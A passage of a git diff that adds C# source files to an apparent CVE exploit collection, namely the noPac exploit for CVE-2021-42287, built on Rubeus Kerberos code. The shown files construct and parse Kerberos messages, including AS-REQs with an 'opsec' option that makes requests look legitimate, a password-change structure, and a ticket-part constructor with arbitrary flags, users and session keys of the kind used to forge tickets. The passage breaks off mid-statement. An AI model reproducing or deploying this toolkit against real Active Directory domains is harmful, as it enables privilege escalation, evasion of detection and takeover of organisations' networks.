set the username to request a TGT for + req.req_body.cname.name_string.Add(userName); + + // the realm (domain) the user exists in + req.req_body.realm = domain; + + // KRB_NT_SRV_INST = 2 + // service and other unique instance (krbtgt) + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + + if (!changepw) { + req.req_body.sname.name_string.Add("krbtgt"); + req.req_body.sname.name_string.Add(domain); + } else { + req.req_body.sname.name_string.Add("kadmin"); + req.req_body.sname.name_string.Add("changepw"); + } + + // try to build a realistic request + if (opsec) + { + string hostName = Dns.GetHostName(); + List addresses = new List(); + addresses.Add(new HostAddress(hostName)); + req.req_body.addresses = addresses; + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); + req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); + req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_md5); + } + else + { + // add in our encryption type + req.req_body.etypes.Add(etype); + } + + return req; + } + + //TODO: Insert DHKeyPair parameter also. + public static AS_REQ NewASReq(string userName, string domain, X509Certificate2 cert, KDCKeyAgreement agreement, Interop.KERB_ETYPE etype, bool verifyCerts = false) { + + // build a new AS-REQ for the given userName, domain, and etype, w/ PA-ENC-TIMESTAMP + // used for "legit" AS-REQs w/ pre-auth + + // set pre-auth + AS_REQ req = new AS_REQ(cert, agreement, verifyCerts); + + // req.padata.Add() + + // set the username to request a TGT for + req.req_body.cname.name_string.Add(userName); + + // the realm (domain) the user exists in + req.req_body.realm = domain; + + // KRB_NT_SRV_INST = 2 + // service and other unique instance (krbtgt) + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + req.req_body.sname.name_string.Add("krbtgt"); + req.req_body.sname.name_string.Add(domain); + + // add in our encryption type + req.req_body.etypes.Add(etype); + + return req; + } + + public AS_REQ(bool opsec = false) + { + // default, for creation + pvno = 5; + msg_type = (long)Interop.KERB_MESSAGE_TYPE.AS_REQ; + + padata = new List(); + padata.Add(new PA_DATA()); + + req_body = new KDCReqBody(true, opsec); + } + + public AS_REQ(string keyString, Interop.KERB_ETYPE etype, bool opsec = false, bool pac = true) + { + // default, for creation + pvno = 5; + msg_type = (long)Interop.KERB_MESSAGE_TYPE.AS_REQ; + + padata = new List(); + + // add the encrypted timestamp + padata.Add(new PA_DATA(keyString, etype)); + + // add the include-pac == true + padata.Add(new PA_DATA(pac)); + + req_body = new KDCReqBody(true, opsec); + + this.keyString = keyString; + } + + public AS_REQ(X509Certificate2 pkCert, KDCKeyAgreement agreement, bool verifyCerts = false) { + + // default, for creation + pvno = 5; + msg_type = 10; + + padata = new List(); + + req_body = new KDCReqBody(); + + // add the include-pac == true + padata.Add(new PA_DATA()); + + // add the encrypted timestamp + padata.Add(new PA_DATA(pkCert, agreement, req_body, verifyCerts)); + } + + public AS_REQ(byte[] data) + { + // decode the supplied bytes to an AsnElt object + data = AsnIO.FindBER(data); + AsnElt asn_AS_REQ = AsnElt.Decode(data); + padata = new List(); + + // AS-REQ::= [APPLICATION 10] KDC-REQ + // tag class == 1 + // tag class == 10 + // SEQUENCE + if (asn_AS_REQ.TagValue != (int)Interop.KERB_MESSAGE_TYPE.AS_REQ) + { + throw new System.Exception("AS-REQ tag value should be 10"); + } + + if ((asn_AS_REQ.Sub.Length != 1) || (asn_AS_REQ.Sub[0].TagValue != 16)) + { + throw new System.Exception("First AS-REQ sub should be a sequence"); + } + + // extract the KDC-REP out + AsnElt[] kdc_req = asn_AS_REQ.Sub[0].Sub; + + foreach (AsnElt s in kdc_req) + { + switch (s.TagValue) + { + case 1: + pvno = s.Sub[0].GetInteger(); + break; + case 2: + msg_type = s.Sub[0].GetInteger(); + break; + case 3: + // sequence of pa-data + foreach(AsnElt pa in s.Sub[0].Sub) + { + padata.Add(new PA_DATA(pa)); + } + break; + case 4: + // KDC-REQ-BODY + req_body = new KDCReqBody(s.Sub[0]); + break; + default: + throw new System.Exception(String.Format("Invalid tag AS-REQ value : {0}", s.TagValue)); + } + } + } + + public AsnElt Encode() + { + // pvno [1] INTEGER (5) + AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); + AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn }); + pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, pvnoSeq); + + + // msg-type [2] INTEGER (10 -- AS -- ) + AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type); + AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN }); + msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, msg_type_ASNSeq); + + // padata [3] SEQUENCE OF PA-DATA OPTIONAL + List padatas = new List(); + foreach (PA_DATA pa in padata) + { + padatas.Add(pa.Encode()); + } + + // req-body [4] KDC-REQ-BODY + AsnElt req_Body_ASN = req_body.Encode(); + AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); + req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); + + AsnElt padata_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, padatas.ToArray()); + AsnElt padata_ASNSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { padata_ASNSeq }); + padata_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, padata_ASNSeq2); + + // encode it all into a sequence + AsnElt[] total = new[] { pvnoSeq, msg_type_ASNSeq, padata_ASNSeq, req_Body_ASNSeq }; + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total); + + // AS-REQ ::= [APPLICATION 10] KDC-REQ + // put it all together and tag it with 10 + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 10, totalSeq); + + return totalSeq; + } + + public long pvno { get; set;} + + public long msg_type { get; set; } + + //public PAData[] padata { get; set; } + public List padata { get; set; } + + public KDCReqBody req_body { get; set; } + + //Ugly hack to make keyString available to + //the generic InnerTGT function + public string keyString { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/Authenticator.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/Authenticator.cs new file mode 100644 index 0000000..b2a9b06 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/Authenticator.cs @@ -0,0 +1,141 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class Authenticator + { + //Authenticator ::= [APPLICATION 2] SEQUENCE { + // authenticator-vno [0] INTEGER (5), + // crealm [1] Realm, + // cname [2] PrincipalName, + // cksum [3] Checksum OPTIONAL, + // cusec [4] Microseconds, + // ctime [5] KerberosTime, + // subkey [6] EncryptionKey OPTIONAL, + // seq-number [7] UInt32 OPTIONAL, + // authorization-data [8] AuthorizationData OPTIONAL + //} + + // NOTE: we're only using: + // authenticator-vno [0] + // crealm [1] + // cname [2] + // cusec [4] + // ctime [5] + + public Authenticator() + { + authenticator_vno = 5; + + crealm = ""; + + cksum = null; + + cname = new PrincipalName(); + + cusec = 0; + + ctime = DateTime.UtcNow; + + subkey = null; + + seq_number = 0; + } + + public AsnElt Encode() + { + List allNodes = new List(); + + + // authenticator-vno [0] INTEGER (5) + AsnElt pvnoAsn = AsnElt.MakeInteger(authenticator_vno); + AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn }); + pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); + allNodes.Add(pvnoSeq); + + + // crealm [1] Realm + AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, crealm); + realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); + AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn }); + realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmSeq); + allNodes.Add(realmSeq); + + + // cname [2] PrincipalName + AsnElt snameElt = cname.Encode(); + snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameElt); + allNodes.Add(snameElt); + + // cksum [3] Checksum + if (cksum != null) + { + AsnElt checksumAsn = cksum.Encode(); + checksumAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, checksumAsn); + allNodes.Add(checksumAsn); + } + + + // TODO: correct format (UInt32)? + // cusec [4] Microseconds + AsnElt nonceAsn = AsnElt.MakeInteger(cusec); + AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn }); + nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, nonceSeq); + allNodes.Add(nonceSeq); + + + // ctime [5] KerberosTime + AsnElt tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, ctime.ToString("yyyyMMddHHmmssZ")); + AsnElt tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tillAsn }); + tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq); + allNodes.Add(tillSeq); + + if (subkey != null) + { + // subkey [6] EncryptionKey OPTIONAL + AsnElt keyAsn = subkey.Encode(); + keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, keyAsn); + allNodes.Add(keyAsn); + } + + if(seq_number != 0) + { + // seq-number [7] UInt32 OPTIONAL + AsnElt seq_numberASN = AsnElt.MakeInteger(seq_number); + AsnElt seq_numberSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq_numberASN }); + seq_numberSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, seq_numberSeq); + allNodes.Add(seq_numberSeq); + } + + // package it all up + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); + + + // tag the final total + AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq }); + final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 2, final); + + return final; + } + + + public long authenticator_vno { get; set; } + + public string crealm { get; set; } + + public Checksum cksum { get; set; } + + public PrincipalName cname { get; set; } + + public long cusec { get; set; } + + public DateTime ctime { get; set; } + + public EncryptionKey subkey { get; set; } + + public UInt32 seq_number { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/AuthorizationData.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/AuthorizationData.cs new file mode 100644 index 0000000..fbc0ad1 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/AuthorizationData.cs @@ -0,0 +1,55 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + //AuthorizationData ::= SEQUENCE OF SEQUENCE { + // ad-type[0] Int32, + // ad-data[1] OCTET STRING + //} + + public abstract class AuthorizationData + { + public AuthorizationData() { } + + public AuthorizationData(Interop.AuthorizationDataType adtype) : this(adtype, null) + { + } + + public AuthorizationData(Interop.AuthorizationDataType adtype, byte[] data) + { + + ad_type = adtype; + ad_data = data; + } + + public AsnElt ADEncode() + { + // ad-type [0] Int32 + AsnElt adTypeElt = AsnElt.MakeInteger((long)ad_type); + AsnElt adTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adTypeElt }); + adTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, adTypeSeq); + + // ad-data [1] OCTET STRING + AsnElt adDataElt = AsnElt.MakeBlob(ad_data); + AsnElt adDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adDataElt }); + adDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, adDataSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { adTypeSeq, adDataSeq }); + + return seq; + } + + public abstract AsnElt Encode(); + + protected abstract void Decode(AsnElt data); + + protected abstract void Decode(AsnElt data, byte[] asrepKey = null); + + public Interop.AuthorizationDataType ad_type { get; set; } + + public byte[] ad_data { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/Checksum.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/Checksum.cs new file mode 100644 index 0000000..678418f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/Checksum.cs @@ -0,0 +1,71 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class Checksum + { + //Checksum ::= SEQUENCE { + // cksumtype [0] Int32, + // checksum [1] OCTET STRING + //} + + public Checksum(byte[] data) + { + // KERB_CHECKSUM_HMAC_MD5 = -138 + cksumtype = -138; + + checksum = data; + } + + public Checksum(Interop.KERB_CHECKSUM_ALGORITHM cktype, byte[] data) + { + cksumtype = (int)cktype; + + checksum = data; + } + + public Checksum(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + cksumtype = Convert.ToInt32(s.Sub[0].GetInteger()); + break; + case 2: + checksum = s.Sub[0].GetOctetString(); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // cksumtype [0] Int32 + AsnElt cksumtypeAsn = AsnElt.MakeInteger(cksumtype); + AsnElt cksumtypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cksumtypeAsn }); + cksumtypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, cksumtypeSeq); + + + // checksum [1] OCTET STRING + AsnElt checksumAsn = AsnElt.MakeBlob(checksum); + AsnElt checksumSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { checksumAsn }); + checksumSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, checksumSeq); + + + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cksumtypeSeq, checksumSeq }); + AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { totalSeq }); + return totalSeq2; + } + + public Int32 cksumtype { get; set; } + + public byte[] checksum { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncKDCRepPart.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncKDCRepPart.cs new file mode 100644 index 0000000..10494be --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncKDCRepPart.cs @@ -0,0 +1,108 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class EncKDCRepPart + { + //EncKDCRepPart::= SEQUENCE { + // key[0] EncryptionKey, + // last-req[1] LastReq, + // nonce[2] UInt32, + // key-expiration[3] KerberosTime OPTIONAL, + // flags[4] TicketFlags, + // authtime[5] KerberosTime, + // starttime[6] KerberosTime OPTIONAL, + // endtime[7] KerberosTime, + // renew-till[8] KerberosTime OPTIONAL, + // srealm[9] Realm, + // sname[10] PrincipalName, + // caddr[11] HostAddresses OPTIONAL, + // encrypted-pa-data[12] SEQUENCE OF PA-DATA OPTIONAL + //} + + public EncKDCRepPart(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + key = new EncryptionKey(s); + break; + case 1: + lastReq = new LastReq(s.Sub[0]); + break; + case 2: + nonce = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 3: + key_expiration = s.Sub[0].GetTime(); + break; + case 4: + UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger()); + byte[] tempBytes = BitConverter.GetBytes(temp); + flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0); + break; + case 5: + authtime = s.Sub[0].GetTime(); + break; + case 6: + starttime = s.Sub[0].GetTime(); + break; + case 7: + endtime = s.Sub[0].GetTime(); + break; + case 8: + renew_till = s.Sub[0].GetTime(); + break; + case 9: + realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 10: + // sname (optional) + sname = new PrincipalName(s.Sub[0]); + break; + case 11: + // HostAddresses, skipped for now + break; + case 12: + // encrypted-pa-data, skipped for now + break; + default: + break; + } + } + } + + // won't really ever need to *create* a KDC reply, so no Encode() + + public EncryptionKey key { get; set; } + + public LastReq lastReq { get; set; } + + public UInt32 nonce { get; set; } + + public DateTime key_expiration { get; set; } + + public Interop.TicketFlags flags { get; set; } + + public DateTime authtime { get; set; } + + public DateTime starttime { get; set; } + + public DateTime endtime { get; set; } + + public DateTime renew_till { get; set; } + + public string realm { get; set; } + + public PrincipalName sname { get; set; } + + // caddr (optional) - skip for now + + // encrypted-pa-data (optional) - skip for now + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncKrbCredPart.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncKrbCredPart.cs new file mode 100644 index 0000000..d71f17e --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncKrbCredPart.cs @@ -0,0 +1,57 @@ +using System; +using Asn1; +using System.Collections.Generic; + +namespace Rubeus +{ + //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { + // ticket-info [0] SEQUENCE OF KrbCredInfo, + // nonce [1] UInt32 OPTIONAL, + // timestamp [2] KerberosTime OPTIONAL, + // usec [3] Microseconds OPTIONAL, + // s-address [4] HostAddress OPTIONAL, + // r-address [5] HostAddress OPTIONAL + //} + + public class EncKrbCredPart + { + public EncKrbCredPart() + { + // TODO: defaults for creation + ticket_info = new List(); + } + + public EncKrbCredPart(AsnElt body) + { + ticket_info = new List(); + + byte[] octetString = body.Sub[1].Sub[0].GetOctetString(); + AsnElt body2 = AsnElt.Decode(octetString, false); + + // assume only one KrbCredInfo for now + KrbCredInfo info = new KrbCredInfo(body2.Sub[0].Sub[0].Sub[0].Sub[0]); + ticket_info.Add(info); + } + + public AsnElt Encode() + { + // ticket-info [0] SEQUENCE OF KrbCredInfo + // assume just one ticket-info for now + // TODO: handle multiple ticket-infos + AsnElt infoAsn = ticket_info[0].Encode(); + AsnElt seq1 = AsnElt.Make(AsnElt.SEQUENCE, new[] { infoAsn }); + AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq1 }); + seq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, seq2); + + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq2 }); + AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq }); + totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 29, totalSeq2); + + return totalSeq2; + } + + public List ticket_info { get; set; } + + // other fields are optional/not used in our use cases + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncKrbPrivPart.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncKrbPrivPart.cs new file mode 100644 index 0000000..4c29df8 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncKrbPrivPart.cs @@ -0,0 +1,104 @@ +using System; +using Asn1; +using System.Collections.Generic; +using System.Text; +using System.IO; + +namespace Rubeus +{ + //EncKrbPrivPart ::= [APPLICATION 28] SEQUENCE { + // user-data [0] OCTET STRING, + // timestamp [1] KerberosTime OPTIONAL, + // usec [2] Microseconds OPTIONAL, + // seq-number [3] UInt32 OPTIONAL, + // s-address [4] HostAddress -- sender's addr --, + // r-address [5] HostAddress OPTIONAL -- recip's addr + //} + + // NOTE: we only use: + // user-data [0] OCTET STRING + // seq-number [3] UInt32 OPTIONAL + // s-address [4] HostAddress + + // only used by the changepw command + + public class EncKrbPrivPart + { + public EncKrbPrivPart() : this("", ""){} + + public EncKrbPrivPart(string newPassword, string hostName) : this(null, null, newPassword, hostName){} + + public EncKrbPrivPart(string username, string realm, string newPassword, string hostName) { + + this.username = username; + this.realm = realm; + new_password = newPassword; + + var rand = new Random(); + seq_number = (UInt32)rand.Next(1, Int32.MaxValue); + + host_name = hostName; + } + + public AsnElt Encode() + { + // user-data [0] OCTET STRING + byte[] pwBytes = Encoding.ASCII.GetBytes(new_password); + AsnElt new_passwordAsn = AsnElt.MakeBlob(pwBytes); + + AsnElt new_passwordSeq; + if (username == null) + new_passwordSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { + AsnElt.MakeExplicit(AsnElt.CONTEXT, 0, new_passwordAsn), + }); + else { + + PrincipalName principal = new PrincipalName(username); + + new_passwordSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { + AsnElt.MakeExplicit(AsnElt.CONTEXT, 0, new_passwordAsn), + AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, principal.Encode()), + AsnElt.MakeExplicit(AsnElt.CONTEXT, 2, AsnElt.MakeString(AsnElt.GeneralString, realm)), + }); + } + + new_passwordSeq = AsnElt.MakeExplicit(AsnElt.CONTEXT, 0, AsnElt.MakeBlob(new_passwordSeq.Encode())); + + // seq-number [3] UInt32 OPTIONAL + AsnElt seq_numberAsn = AsnElt.MakeInteger(seq_number); + AsnElt seq_numberSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq_numberAsn }); + seq_numberSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, seq_numberSeq); + + // s-address [4] HostAddress + AsnElt hostAddressTypeAsn = AsnElt.MakeInteger(20); + AsnElt hostAddressTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressTypeAsn }); + hostAddressTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, hostAddressTypeSeq); + + byte[] hostAddressAddressBytes = Encoding.ASCII.GetBytes(host_name); + AsnElt hostAddressAddressAsn = AsnElt.MakeBlob(hostAddressAddressBytes); + AsnElt hostAddressAddressSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressAddressAsn }); + hostAddressAddressSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, hostAddressAddressSeq); + + AsnElt hostAddressSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { hostAddressTypeSeq, hostAddressAddressSeq }); + AsnElt hostAddressSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressSeq }); + hostAddressSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, hostAddressSeq2); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { new_passwordSeq , seq_numberSeq, hostAddressSeq2 }); + AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + + seq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 28, seq2); + + return seq2; + } + + public string new_password { get; set; } + + public UInt32 seq_number { get; set; } + + public string host_name { get; set; } + + public string username { get; set; } + + public string realm { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncTicketPart.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncTicketPart.cs new file mode 100644 index 0000000..bde87d3 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/EncTicketPart.cs @@ -0,0 +1,500 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; +using System.IO; +using Rubeus.Kerberos; +using Rubeus.Kerberos.PAC; + +namespace Rubeus +{ + public class EncTicketPart + { + //EncTicketPart::= [APPLICATION 3] SEQUENCE { + // flags[0] TicketFlags, + // key[1] EncryptionKey, + // crealm[2] Realm, + // cname[3] PrincipalName, + // transited[4] TransitedEncoding, + // authtime[5] KerberosTime, + // starttime[6] KerberosTime OPTIONAL, + // endtime[7] KerberosTime, + // renew-till[8] KerberosTime OPTIONAL, + // caddr[9] HostAddresses OPTIONAL, + // authorization-data[10] AuthorizationData OPTIONAL + //} + + public EncTicketPart(byte[] sessionKey, Interop.KERB_ETYPE etype, string domain, string user, Interop.TicketFlags ticketFlags, DateTime startTime) + { + // flags + flags = ticketFlags; + + // default times + authtime = startTime; + starttime = startTime; + endtime = starttime.AddHours(10); + renew_till = starttime.AddDays(7); + + // set session key + key = new EncryptionKey(); + key.keytype = (int)etype; + key.keyvalue = sessionKey; + + // cname information + crealm = domain; + cname = new PrincipalName(user); + + // default empty TransitedEncoding + transited = new TransitedEncoding(); + + // null caddr and authdata + caddr = null; + authorization_data = null; + + } + public EncTicketPart(AsnElt body, byte[] asrepKey = null, bool noAdData = false) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger()); + byte[] tempBytes = BitConverter.GetBytes(temp); + flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0); + break; + case 1: + key = new EncryptionKey(s); + break; + case 2: + crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 3: + cname = new PrincipalName(s.Sub[0]); + break; + case 4: + transited = new TransitedEncoding(s.Sub[0]); + break; + case 5: + authtime = s.Sub[0].GetTime(); + break; + case 6: + starttime = s.Sub[0].GetTime(); + break; + case 7: + endtime = s.Sub[0].GetTime(); + break; + case 8: + renew_till = s.Sub[0].GetTime(); + break; + case 9: + // caddr (optional) + caddr = new List(); + caddr.Add(new HostAddress(s.Sub[0])); + break; + case 10: + // authorization-data (optional) + authorization_data = new List(); + if (noAdData) + { + authorization_data.Add(new ADIfRelevant(s.Sub[0].Sub[0].Sub[1].Sub[0].CopyValue())); + } + else + { + foreach (AsnElt tmp in s.Sub[0].Sub) + { + authorization_data.Add(new ADIfRelevant(tmp, asrepKey)); + } + } + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + List allNodes = new List(); + + // flags [0] TicketFlags + byte[] flagBytes = BitConverter.GetBytes((UInt32)flags); + if (BitConverter.IsLittleEndian) + { + Array.Reverse(flagBytes); + } + AsnElt flagBytesAsn = AsnElt.MakeBitString(flagBytes); + AsnElt flagBytesSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { flagBytesAsn }); + flagBytesSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, flagBytesSeq); + allNodes.Add(flagBytesSeq); + + // key [1] EncryptionKey + AsnElt keyAsn = key.Encode(); + keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, keyAsn); + allNodes.Add(keyAsn); + + // crealm [2] Realm + // -- clients realm + AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, crealm); + realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); + AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn }); + realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, realmSeq); + allNodes.Add(realmSeq); + + // cname [3] PrincipalName + if (cname != null) + { + AsnElt cnameElt = cname.Encode(); + cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, cnameElt); + allNodes.Add(cnameElt); + } + + // transited [4] TransitedEncoding + AsnElt transitedElt = transited.Encode(); + transitedElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, transitedElt); + allNodes.Add(transitedElt); + + // authtime [5] KerberosTime + AsnElt authTimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, authtime.ToString("yyyyMMddHHmmssZ")); + AsnElt authTimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authTimeAsn }); + authTimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, authTimeSeq); + allNodes.Add(authTimeSeq); + + // starttime [6] KerberosTime OPTIONAL + if (starttime != null) + { + AsnElt startTimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, starttime.ToString("yyyyMMddHHmmssZ")); + AsnElt startTimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { startTimeAsn }); + startTimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, startTimeSeq); + allNodes.Add(startTimeSeq); + } + + // endtime [7] KerberosTime + AsnElt endTimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, endtime.ToString("yyyyMMddHHmmssZ")); + AsnElt endTimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { endTimeAsn }); + endTimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, endTimeSeq); + allNodes.Add(endTimeSeq); + + // renew-till [8] KerberosTime OPTIONAL + if (renew_till != null) + { + AsnElt renewTimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, renew_till.ToString("yyyyMMddHHmmssZ")); + AsnElt renewTimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { renewTimeAsn }); + renewTimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, renewTimeSeq); + allNodes.Add(renewTimeSeq); + } + + // caddr [9] HostAddresses OPTIONAL + if (caddr != null) + { + List addrList = new List(); + foreach (HostAddress addr in caddr) + { + AsnElt addrElt = addr.Encode(); + addrList.Add(addrElt); + } + AsnElt addrSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, addrList.ToArray()); + AsnElt addrSeqTotal2 = 